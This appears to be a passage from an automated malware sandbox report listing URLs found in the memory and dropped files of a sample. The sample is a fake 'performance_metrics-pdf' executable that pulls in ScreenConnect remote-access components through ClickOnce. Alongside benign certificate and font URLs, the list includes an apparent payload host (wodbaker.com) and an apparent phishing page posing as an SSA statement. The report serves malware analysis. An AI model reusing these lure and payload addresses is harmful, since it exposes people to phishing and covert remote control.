dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B605D000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B455F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert
Source: 8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B0.13.dr	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rh
Source: C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.13.dr	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B605D000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.000000000076B000.00000004.00000020.00020000.00000000.sdmp, performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crlp
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BAEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.16.dr	String found in binary or memory: http://upx.sf.net
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wodbaker.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_118.1.dr	String found in binary or memory: http://www.broofa.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: performance_metrics-pdf.Client.exe, 0000000C.00000002.1825856552.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B6037000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C09E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BB55000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD37000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C086000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD47000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C08E000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD2F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsFileManager.exe.13.dr, chromecache_133.1.dr, ScreenConnect.ClientService.exe.13.dr, ScreenConnect.WindowsClient.exe.13.dr, Unconfirmed 182746.crdownload.0.dr, ScreenConnect.WindowsBackstageShell.exe.13.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BEEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: dfsvc.exe, 0000000D.00000002.2411809495.00000296B5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: chromecache_146.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_146.1.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_118.1.dr, chromecache_146.1.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_146.1.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_146.1.dr	String found in binary or memory: https://content.googleapis.com
Source: chromecache_121.1.dr, chromecache_125.1.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/HTML/Element
Source: chromecache_146.1.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_118.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chromecache_136.1.dr	String found in binary or memory: https://identitys.fraudguard.es/SSA_Updated_Statement/
Source: chromecache_121.1.dr, chromecache_125.1.dr	String found in binary or memory: https://itunes.apple.com/us/app/screenconnect/id423995707
Source: chromecache_118.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_146.1.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_146.1.dr	String found in binary or memory: https://plus.googleapis.com
Source: chromecache_121.1.dr, chromecache_125.1.dr	String found in binary or memory: https://stackoverflow.com/questions/60886186/intl-datetimeformat-shows-time-being-2459
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BAEA000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bi
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Cli
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.application
